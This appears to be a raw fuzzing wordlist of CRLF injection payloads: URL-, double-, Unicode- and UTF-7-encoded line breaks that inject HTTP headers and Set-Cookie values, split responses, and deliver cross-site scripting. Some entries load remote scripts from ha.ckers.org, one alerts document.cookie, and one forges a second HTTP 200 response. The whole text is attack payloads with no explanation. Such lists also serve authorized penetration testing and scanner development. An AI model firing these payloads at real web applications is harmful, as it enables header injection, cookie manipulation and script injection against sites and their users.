%%0A0AHeader-Test:BLATRUC %%0a0aSet-Cookie:crlf=injection %0%0D%0AD%0%0D%0AA %0%0d%0ad%0%0d%0aa %0A%0A%3Cscript%3Ealert(%22XSS%22)%3C/script%3E %0A%20Header-Test:BLATRUC %0AContent-Type:html%0A%0A%3Cscript%3Ealert(%22XSS%22)%3C/script%3E %0AContent-Type:html%0A%0A%3Cscript%3Ealert(%22XSS%22)%3C/script%3Ehttp://www.test.com %0AContent-type:%20text/html%0A%0Ahttp://www.test.com/%3Cscript%3Ealert(%22XSS%22)%3C/script%3E %0AHeader-Test:BLATRUC %0D%0A%09Header-Test:BLATRUC %0D%0A%20Header-Test:BLATRUC %0D%0AHeader-Test:BLATRUC %0D%20Header-Test:BLATRUC %0DHeader-Test:BLATRUC %0aSet-Cookie:crlf=injection %0d%0a %0d%0a%0d%0a %0d%0a%0d%0a%3Chtml%3E%3Cbody%3E%3C%2Fbody%3E%3Cscript+src%3Dhttp%3A%2F%2Fha.ckers.org%2Fs.js%3E%3C%2Fscript%3E%3Cscript%3Ealert(%22location.host%20is:%20%22%2Blocation.host)%3C%2Fscript%3E%3C%2Fhtml%3E %0d%0a%0d%0a%3Cscript%3Ealert(%22XSS%22)%3C%2Fscript%3E %0d%0a%0d%0a%3Cscript+src%3Dhttp%3A%2F%2Fha.ckers.org%2Fxss.js%3E%3C%2Fscript%3E %0d%0aContentType:%20text/html;charset=UTF-7%0d%0aContent-Length:%20129%0d%0a%0d%0a%2BADw-html%2BAD4-%2BADw-body%2BAD4-%2BADw-script%2BAD4-alert%28%27XSS,cookies:%27%2Bdocument.cookie%29%2BADw-/script%2BAD4-%2BADw-/body%2BAD4-%2BADw-/html%2BAD4 %0d%0aSet-Cookie:crlf=injection %0d%0d%0a%0a %0dSet-Cookie:crlf=injection %20%0AHeader-Test:BLATRUC %20%0D%0AHeader-Test:BLATRUC %20%0DHeader-Test:BLATRUC %22%3E%0A%0A%3Cscript%3Ealert(%22XSS%22)%3C/script%3E%3C%22 %23%0AHeader-Test:BLATRUC %23%0D%0AHeader-Test:BLATRUC %23%0DHeader-Test:BLATRUC %23%0aSet-Cookie:crlf=injection %23%0d%0aSet-Cookie:crlf=injection %23%0dSet-Cookie:crlf=injection %23%OAHeader-Test:BLATRUC %25%30%61Header-Test:BLATRUC %25%30%61Set-Cookie:crlf=injection %25%30AHeader-Test:BLATRUC %25%30aSet-Cookie:crlf=injection %250AHeader-Test:BLATRUC %250aSet-Cookie:crlf=injection %25250AHeader-Test:BLATRUC %25250aSet-Cookie:crlf=injection %2F..%0d%0aSet-Cookie:crlf=injection %2e%2e%2f%0d%0aSet-Cookie:crlf=injection %2f%2e%2e%0d%0aSet-Cookie:crlf=injection %3F%0AHeader-Test:BLATRUC %3F%0D%0AHeader-Test:BLATRUC %3F%0DHeader-Test:BLATRUC %3f%0d%0aSet-Cookie:crlf=injection %3f%0dSet-Cookie:crlf=injection %5cr%5cn %5cr%5cnHeader-Test:BLATRUC %E5%98%8A%E5%98%8D%0AHeader-Test:BLATRUC %E5%98%8A%E5%98%8D%0D%0AHeader-Test:BLATRUC %E5%98%8A%E5%98%8D%0DHeader-Test:BLATRUC %E5%98%8A%E5%98%8DHeader-Test:BLATRUC %u000AHeader-Test:BLATRUC %u000aSet-Cookie:crlf=injection 0x0D0x0A 0x0D0x0D0x0A0x0A \r\n \r\nHeader-Test:BLATRUC crlf%0A%20Header-Test:BLATRUC crlf%0AHeader-Test:BLATRUC crlf%0D%0A%09Header-Test:BLATRUC crlf%0D%0A%20Header-Test:BLATRUC crlf%0D%0AHeader-Test:BLATRUC crlf%0D%20Header-Test:BLATRUC crlf%0DHeader-Test:BLATRUC crlf%20%0AHeader-Test:BLATRUC crlf%20%0D%0AHeader-Test:BLATRUC crlf%20%0DHeader-Test:BLATRUC crlf%23%0AHeader-Test:BLATRUC crlf%23%0D%0AHeader-Test:BLATRUC crlf%23%0DHeader-Test:BLATRUC crlf%23%OAHeader-Test:BLATRUC crlf%3F%0AHeader-Test:BLATRUC crlf%3F%0D%0AHeader-Test:BLATRUC crlf%3F%0DHeader-Test:BLATRUC crlf%5cr%5cnHeader-Test:BLATRUC crlf%E5%98%8A%E5%98%8D%0AHeader-Test:BLATRUC crlf%E5%98%8A%E5%98%8D%0D%0AHeader-Test:BLATRUC crlf%E5%98%8A%E5%98%8D%0DHeader-Test:BLATRUC crlf%E5%98%8A%E5%98%8DHeader-Test:BLATRUC crlf\r\nHeader-Test:BLATRUC google.com/%2F..%0D%0AHeader-Test:BLATRUC r%0d%0aContentLength:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContentType:%20text/html%0d%0aContentLength:%2019%0d%0a%0d%0aInjected%02Content www.google.com/%2E%2E%2F%0D%0AHeader-Test:BLATRUC www.google.com/%2F%2E%2E%0D%0AHeader-Test:BLATRUC